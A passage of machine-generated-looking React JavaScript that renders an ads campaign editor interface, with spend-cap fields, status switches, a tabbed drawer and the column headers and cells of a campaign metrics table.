React.createElement(\n        'div',\n        {className: '_2oc6 _3bvz'},\n        React.createElement(\n          'label',\n          {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n          'Campaign Spending Limit '\n        ),\n        React.createElement(AdsHelpLink63, {x: 239}),\n        React.createElement('div', {className: '_3bv-'})\n      );\n    }\n  };\n\n  var FlexibleBlock105 = function (props) {\n    if (props.x === 233) {\n      return React.createElement(LeftRight21, {x: 232});\n    }\n    if (props.x === 236) {\n      return React.createElement(LeftRight21, {x: 235});\n    }\n    if (props.x === 246) {\n      return React.createElement(LeftRight21, {x: 245});\n    }\n  };\n\n  var AdsBulkCampaignSpendCapField106 = function (props) {\n    if (props.x === 243) {\n      return React.createElement(\n        'div',\n        {className: '_33dv'},\n        '',\n        React.createElement(Link2, {x: 242}),\n        ' (optional)'\n      );\n    }\n  };\n\n  var FluxContainer_AdsCampaignGroupSpendCapContainer_107 = function (props) {\n    if (props.x === 244) {\n      return React.createElement(AdsBulkCampaignSpendCapField106, {x: 243});\n    }\n  };\n\n  var AdsCardSection108 = function (props) {\n    if (props.x === 248) {\n      return React.createElement(XUICardSection101, {x: 247});\n    }\n  };\n\n  var AdsEditorCampaignGroupDetailsSection109 = function (props) {\n    if (props.x === 252) {\n      return React.createElement(AdsCard95, {x: 251});\n    }\n  };\n\n  var AdsEditorCampaignGroupDetailsSectionContainer110 = function (props) {\n    if (props.x === 253) {\n      return React.createElement(AdsEditorCampaignGroupDetailsSection109, {\n        x: 252,\n        key: 'campaignGroupDetailsSection98010048849317',\n      });\n    }\n  };\n\n  var _render111 = function (props) {\n    if (props.x === 254) {\n      return React.createElement(\n        AdsEditorCampaignGroupDetailsSectionContainer110,\n        {x: 253}\n      );\n    }\n  };\n\n  var FluxContainer_AdsEditorToplineDetailsSectionContainer_112 = function (\n    props\n  ) {\n    if (props.x === 256) {\n      return null;\n    }\n  };\n\n  var _render113 = function (props) {\n    if (props.x === 257) {\n      return React.createElement(\n        FluxContainer_AdsEditorToplineDetailsSectionContainer_112,\n        {x: 256}\n      );\n    }\n  };\n\n  var AdsStickyArea114 = function (props) {\n    if (props.x === 259) {\n      return React.createElement(\n        'div',\n        {},\n        React.createElement('div', {onWheel: function () {}})\n      );\n    }\n    if (props.x === 292) {\n      return React.createElement(\n        'div',\n        {},\n        React.createElement('div', {onWheel: function () {}}, [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_errors_section98010048849317'},\n            React.createElement(AdsPluginWrapper99, {x: 291})\n          ),\n        ])\n      );\n    }\n  };\n\n  var FluxContainer_AdsEditorColumnContainer_115 = function (props) {\n    if (props.x === 260) {\n      return React.createElement(\n        'div',\n        null,\n        [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_name_section98010048849317'},\n            React.createElement(AdsPluginWrapper99, {x: 226})\n          ),\n          React.createElement(\n            'div',\n            {key: 'campaign_group_basic_section98010048849317'},\n            React.createElement(AdsPluginWrapper99, {x: 255})\n          ),\n          React.createElement(\n            'div',\n            {key: 'campaign_group_topline_section98010048849317'},\n            React.createElement(AdsPluginWrapper99, {x: 258})\n          ),\n        ],\n        React.createElement(AdsStickyArea114, {x: 259})\n      );\n    }\n    if (props.x === 293) {\n      return React.createElement(\n        'div',\n        null,\n        [\n          React.createElement(\n            'div',\n            {key: 'campaign_group_navigation_section98010048849317'},\n            React.createElement(AdsPluginWrapper99, {x: 287})\n          ),\n        ],\n        React.createElement(AdsStickyArea114, {x: 292})\n      );\n    }\n  };\n\n  var BUISwitch116 = function (props) {\n    if (props.x === 261) {\n      return React.createElement(\n        'div',\n        {\n          'data-hover': 'tooltip',\n          'data-tooltip-content':\n            'Currently active. Click this switch to deactivate it.',\n          'data-tooltip-position': 'below',\n          disabled: false,\n          value: true,\n          onToggle: function () {},\n          className: '_128j _128k _128n',\n          role: 'checkbox',\n          'aria-checked': 'true',\n        },\n        React.createElement(\n          'div',\n          {\n            className: '_128o',\n            onClick: function () {},\n            onKeyDown: function () {},\n            onMouseDown: function () {},\n            tabIndex: '0',\n          },\n          React.createElement('div', {className: '_128p'})\n        ),\n        null\n      );\n    }\n  };\n\n  var AdsStatusSwitchInternal117 = function (props) {\n    if (props.x === 262) {\n      return React.createElement(BUISwitch116, {x: 261});\n    }\n  };\n\n  var AdsStatusSwitch118 = function (props) {\n    if (props.x === 263) {\n      return React.createElement(AdsStatusSwitchInternal117, {x: 262});\n    }\n  };\n\n  var FluxContainer_AdsCampaignGroupStatusSwitchContainer_119 = function (\n    props\n  ) {\n    if (props.x === 264) {\n      return React.createElement(AdsStatusSwitch118, {\n        x: 263,\n        key: 'status98010048849317',\n      });\n    }\n  };\n\n  var AdsLinksMenu120 = function (props) {\n    if (props.x === 275) {\n      return React.createElement(ReactPopoverMenu20, {x: 274});\n    }\n  };\n\n  var FluxContainer_AdsPluginizedLinksMenuContainer_121 = function (props) {\n    if (props.x === 276) {\n      return React.createElement(\n        'div',\n        null,\n        null,\n        React.createElement(AdsLinksMenu120, {x: 275})\n      );\n    }\n  };\n\n  var AdsCardLeftRightHeader122 = function (props) {\n    if (props.x === 278) {\n      return React.createElement(LeftRight21, {x: 277});\n    }\n  };\n\n  var AdsPEIDSection123 = function (props) {\n    if (props.x === 282) {\n      return React.createElement(AdsCard95, {x: 281});\n    }\n  };\n\n  var FluxContainer_AdsPECampaignGroupIDSectionContainer_124 = function (\n    props\n  ) {\n    if (props.x === 283) {\n      return React.createElement(AdsPEIDSection123, {x: 282});\n    }\n  };\n\n  var DeferredComponent125 = function (props) {\n    if (props.x === 284) {\n      return React.createElement(\n        FluxContainer_AdsPECampaignGroupIDSectionContainer_124,\n        {x: 283}\n      );\n    }\n  };\n\n  var BootloadedComponent126 = function (props) {\n    if (props.x === 285) {\n      return React.createElement(DeferredComponent125, {x: 284});\n    }\n  };\n\n  var _render127 = function (props) {\n    if (props.x === 286) {\n      return React.createElement(BootloadedComponent126, {x: 285});\n    }\n  };\n\n  var AdsEditorErrorsCard128 = function (props) {\n    if (props.x === 288) {\n      return null;\n    }\n  };\n\n  var FluxContainer_FunctionalContainer_129 = function (props) {\n    if (props.x === 289) {\n      return React.createElement(AdsEditorErrorsCard128, {x: 288});\n    }\n  };\n\n  var _render130 = function (props) {\n    if (props.x === 290) {\n      return React.createElement(FluxContainer_FunctionalContainer_129, {\n        x: 289,\n      });\n    }\n  };\n\n  var AdsEditorMultiColumnLayout131 = function (props) {\n    if (props.x === 294) {\n      return React.createElement(\n        'div',\n        {className: '_psh'},\n        React.createElement(\n          'div',\n          {className: '_3cc0'},\n          React.createElement(\n            'div',\n            null,\n            React.createElement(AdsEditorLoadingErrors90, {x: 215, key: '.0'}),\n            React.createElement(\n              'div',\n              {className: '_3ms3'},\n              React.createElement(\n                'div',\n                {className: '_3ms4'},\n                React.createElement(\n                  FluxContainer_AdsEditorColumnContainer_115,\n                  {x: 260, key: '.1'}\n                )\n              ),\n              React.createElement(\n                'div',\n                {className: '_3pvg'},\n                React.createElement(\n                  FluxContainer_AdsEditorColumnContainer_115,\n                  {x: 293, key: '.2'}\n                )\n              )\n            )\n          )\n        )\n      );\n    }\n  };\n\n  var AdsPECampaignGroupEditor132 = function (props) {\n    if (props.x === 295) {\n      return React.createElement(\n        'div',\n        null,\n        React.createElement(AdsPECampaignGroupHeaderSectionContainer89, {\n          x: 214,\n        }),\n        React.createElement(AdsEditorMultiColumnLayout131, {x: 294})\n      );\n    }\n  };\n\n  var AdsPECampaignGroupEditorContainer133 = function (props) {\n    if (props.x === 296) {\n      return React.createElement(AdsPECampaignGroupEditor132, {x: 295});\n    }\n  };\n\n  var AdsPESideTrayTabContent134 = function (props) {\n    if (props.x === 297) {\n      return React.createElement(\n        'div',\n        {className: '_1o_8 _44ra _5cyn'},\n        React.createElement(AdsPECampaignGroupEditorContainer133, {x: 296})\n      );\n    }\n  };\n\n  var AdsPEEditorTrayTabContentContainer135 = function (props) {\n    if (props.x === 298) {\n      return React.createElement(AdsPESideTrayTabContent134, {x: 297});\n    }\n  };\n\n  var AdsPEMultiTabDrawer136 = function (props) {\n    if (props.x === 299) {\n      return React.createElement(\n        'div',\n        {className: '_2kev _2kex'},\n        React.createElement(\n          'div',\n          {className: '_5yno'},\n          React.createElement(AdsPEEditorTrayTabButton83, {\n            x: 197,\n            key: 'editor_tray_button',\n          }),\n          React.createElement(AdsPEInsightsTrayTabButton84, {\n            x: 202,\n            key: 'insights_tray_button',\n          }),\n          React.createElement(AdsPENekoDebuggerTrayTabButton85, {\n            x: 204,\n            key: 'neko_debugger_tray_button',\n          })\n        ),\n        React.createElement(\n          'div',\n          {className: '_5ynn'},\n          React.createElement(AdsPEEditorTrayTabContentContainer135, {\n            x: 298,\n            key: 'EDITOR_DRAWER',\n          }),\n          null\n        )\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEMultiTabDrawerContainer_137 = function (props) {\n    if (props.x === 300) {\n      return React.createElement(AdsPEMultiTabDrawer136, {x: 299});\n    }\n  };\n\n  var AdsPESimpleOrganizer138 = function (props) {\n    if (props.x === 309) {\n      return React.createElement(\n        'div',\n        {className: '_tm2'},\n        React.createElement(XUIButton4, {x: 304}),\n        React.createElement(XUIButton4, {x: 306}),\n        React.createElement(XUIButton4, {x: 308})\n      );\n    }\n  };\n\n  var AdsPEOrganizerContainer139 = function (props) {\n    if (props.x === 310) {\n      return React.createElement(\n        'div',\n        null,\n        React.createElement(AdsPESimpleOrganizer138, {x: 309})\n      );\n    }\n  };\n\n  var FixedDataTableColumnResizeHandle140 = function (props) {\n    if (props.x === 313) {\n      return React.createElement(\n        'div',\n        {\n          className: '_3487 _3488 _3489',\n          style: {width: 0, height: 25, left: 0},\n        },\n        React.createElement('div', {className: '_348a', style: {height: 25}})\n      );\n    }\n  };\n\n  var AdsPETableHeader141 = function (props) {\n    if (props.x === 315) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _1ksv _1vd7 _4h2r', id: undefined},\n        React.createElement(ReactImage0, {x: 314}),\n        React.createElement('span', {className: '_1cid'}, 'Campaigns')\n      );\n    }\n    if (props.x === 320) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _1vd7 _4h2r', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Performance')\n      );\n    }\n    if (props.x === 323) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _1vd7 _4h2r', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Overview')\n      );\n    }\n    if (props.x === 326) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _1vd7 _4h2r', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Toplines')\n      );\n    }\n    if (props.x === 329) {\n      return React.createElement('div', {\n        className: '_1cig _1vd7 _4h2r',\n        id: undefined,\n      });\n    }\n    if (props.x === 340) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Campaign Name')\n      );\n    }\n    if (props.x === 346) {\n      return React.createElement(\n        'div',\n        {\n          className: '_1cig _25fg',\n          id: undefined,\n          'data-tooltip-content': 'Changed',\n          'data-hover': 'tooltip',\n        },\n        React.createElement(ReactImage0, {x: 345}),\n        null\n      );\n    }\n    if (props.x === 352) {\n      return React.createElement(\n        'div',\n        {\n          className: '_1cig _25fg',\n          id: 'ads_pe_table_error_header',\n          'data-tooltip-content': 'Errors',\n          'data-hover': 'tooltip',\n        },\n        React.createElement(ReactImage0, {x: 351}),\n        null\n      );\n    }\n    if (props.x === 357) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Status')\n      );\n    }\n    if (props.x === 362) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Delivery')\n      );\n    }\n    if (props.x === 369) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Results')\n      );\n    }\n    if (props.x === 374) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Cost')\n      );\n    }\n    if (props.x === 379) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Reach')\n      );\n    }\n    if (props.x === 384) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Impressions')\n      );\n    }\n    if (props.x === 389) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Clicks')\n      );\n    }\n    if (props.x === 394) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Avg. CPM')\n      );\n    }\n    if (props.x === 399) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Avg. CPC')\n      );\n    }\n    if (props.x === 404) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'CTR %')\n      );\n    }\n    if (props.x === 409) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Spent')\n      );\n    }\n    if (props.x === 414) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Objective')\n      );\n    }\n    if (props.x === 419) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Buying Type')\n      );\n    }\n    if (props.x === 424) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Campaign ID')\n      );\n    }\n    if (props.x === 429) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Start')\n      );\n    }\n    if (props.x === 434) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'End')\n      );\n    }\n    if (props.x === 439) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Date created')\n      );\n    }\n    if (props.x === 444) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Date last edited')\n      );\n    }\n    if (props.x === 449) {\n      return React.createElement(\n        'div',\n        {className: '_1cig _25fg _4h2r', id: undefined},\n        null,\n        React.createElement('span', {className: '_1cid'}, 'Tags')\n      );\n    }\n    if (props.x === 452) {\n      return React.createElement('div', {\n        className: '_1cig _25fg _4h2r',\n        id: undefined,\n      });\n    }\n  };\n\n  var TransitionCell142 = function (props) {\n    if (props.x === 316) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Campaigns',\n          height: 40,\n          width: 721,\n          className: '_4lgc _4h2u',\n          style: {height: 40, width: 721},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 315})\n          )\n        )\n      );\n    }\n    if (props.x === 321) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Performance',\n          height: 40,\n          width: 798,\n          className: '_4lgc _4h2u',\n          style: {height: 40, width: 798},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 320})\n          )\n        )\n      );\n    }\n    if (props.x === 324) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Overview',\n          height: 40,\n          width: 1022,\n          className: '_4lgc _4h2u',\n          style: {height: 40, width: 1022},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 323})\n          )\n        )\n      );\n    }\n    if (props.x === 327) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Toplines',\n          height: 40,\n          width: 0,\n          className: '_4lgc _4h2u',\n          style: {height: 40, width: 0},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 326})\n          )\n        )\n      );\n    }\n    if (props.x === 330) {\n      return React.createElement(\n        'div',\n        {\n          label: '',\n          height: 40,\n          width: 25,\n          className: '_4lgc _4h2u',\n          style: {height: 40, width: 25},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 329})\n          )\n        )\n      );\n    }\n    if (props.x === 338) {\n      return React.createElement(\n        'div',\n        {\n          label: undefined,\n          width: 42,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 42},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(XUICheckboxInput60, {x: 337})\n          )\n        )\n      );\n    }\n    if (props.x === 343) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Campaign Name',\n          width: 400,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 400},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 342})\n          )\n        )\n      );\n    }\n    if (props.x === 349) {\n      return React.createElement(\n        'div',\n        {\n          label: undefined,\n          width: 33,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 33},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 348})\n          )\n        )\n      );\n    }\n    if (props.x === 355) {\n      return React.createElement(\n        'div',\n        {\n          label: undefined,\n          width: 36,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 36},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 354})\n          )\n        )\n      );\n    }\n    if (props.x === 360) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Status',\n          width: 60,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 60},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 359})\n          )\n        )\n      );\n    }\n    if (props.x === 365) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Delivery',\n          width: 150,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 150},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 364})\n          )\n        )\n      );\n    }\n    if (props.x === 372) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Results',\n          width: 140,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 140},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 371})\n          )\n        )\n      );\n    }\n    if (props.x === 377) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Cost',\n          width: 140,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 140},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 376})\n          )\n        )\n      );\n    }\n    if (props.x === 382) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Reach',\n          width: 80,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 80},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 381})\n          )\n        )\n      );\n    }\n    if (props.x === 387) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Impressions',\n          width: 80,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 80},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 386})\n          )\n        )\n      );\n    }\n    if (props.x === 392) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Clicks',\n          width: 60,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 60},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 391})\n          )\n        )\n      );\n    }\n    if (props.x === 397) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Avg. CPM',\n          width: 80,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 80},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 396})\n          )\n        )\n      );\n    }\n    if (props.x === 402) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Avg. CPC',\n          width: 78,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 78},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 401})\n          )\n        )\n      );\n    }\n    if (props.x === 407) {\n      return React.createElement(\n        'div',\n        {\n          label: 'CTR %',\n          width: 70,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 70},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 406})\n          )\n        )\n      );\n    }\n    if (props.x === 412) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Spent',\n          width: 70,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 70},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 411})\n          )\n        )\n      );\n    }\n    if (props.x === 417) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Objective',\n          width: 200,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 200},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 416})\n          )\n        )\n      );\n    }\n    if (props.x === 422) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Buying Type',\n          width: 100,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 100},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 421})\n          )\n        )\n      );\n    }\n    if (props.x === 427) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Campaign ID',\n          width: 120,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 120},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 426})\n          )\n        )\n      );\n    }\n    if (props.x === 432) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Start',\n          width: 113,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 113},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 431})\n          )\n        )\n      );\n    }\n    if (props.x === 437) {\n      return React.createElement(\n        'div',\n        {\n          label: 'End',\n          width: 113,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 113},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 436})\n          )\n        )\n      );\n    }\n    if (props.x === 442) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Date created',\n          width: 113,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 113},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 441})\n          )\n        )\n      );\n    }\n    if (props.x === 447) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Date last edited',\n          width: 113,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 113},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(FixedDataTableSortableHeader149, {x: 446})\n          )\n        )\n      );\n    }\n    if (props.x === 450) {\n      return React.createElement(\n        'div',\n        {\n          label: 'Tags',\n          width: 150,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 150},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 449})\n          )\n        )\n      );\n    }\n    if (props.x === 453) {\n      return React.createElement(\n        'div',\n        {\n          label: '',\n          width: 25,\n          className: '_4lgc _4h2u',\n          height: 25,\n          style: {height: 25, width: 25},\n        },\n        React.createElement(\n          'div',\n          {className: '_4lgd _4h2w'},\n          React.createElement(\n            'div',\n            {className: '_4lge _4h2x'},\n            React.createElement(AdsPETableHeader141, {x: 452})\n          )\n        )\n      );\n    }\n  };\n\n  var FixedDataTableCell143 = function (props) {\n    if (props.x === 317) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 40, width: 721, left: 0}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 316})\n      );\n    }\n    if (props.x === 322) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 40, width: 798, left: 0}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 321})\n      );\n    }\n    if (props.x === 325) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 40, width: 1022, left: 798}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 324})\n      );\n    }\n    if (props.x === 328) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 40, width: 0, left: 1820}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 327})\n      );\n    }\n    if (props.x === 331) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 40, width: 25, left: 1820}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 330})\n      );\n    }\n    if (props.x === 339) {\n      return React.createElement(\n        'div',\n        {\n          className: '_4lg0 _4lg6 _4h2m',\n          style: {height: 25, width: 42, left: 0},\n        },\n        undefined,\n        React.createElement(TransitionCell142, {x: 338})\n      );\n    }\n    if (props.x === 344) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 400, left: 42}},\n        React.createElement(\n          'div',\n          {\n            className: '_4lg9',\n            style: {height: 25},\n            onMouseDown: function () {},\n          },\n          React.createElement('div', {\n            className: '_4lga _4lgb',\n            style: {height: 25},\n          })\n        ),\n        React.createElement(TransitionCell142, {x: 343})\n      );\n    }\n    if (props.x === 350) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 33, left: 442}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 349})\n      );\n    }\n    if (props.x === 356) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 36, left: 475}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 355})\n      );\n    }\n    if (props.x === 361) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 60, left: 511}},\n        undefined,\n        React.createElement(TransitionCell142, {x: 360})\n      );\n    }\n    if (props.x === 366) {\n      return React.createElement(\n        'div',\n        {className: '_4lg0 _4h2m', style: {height: 25, width: 150, left: 571}},\n        React.createElement(\n          'div',\n          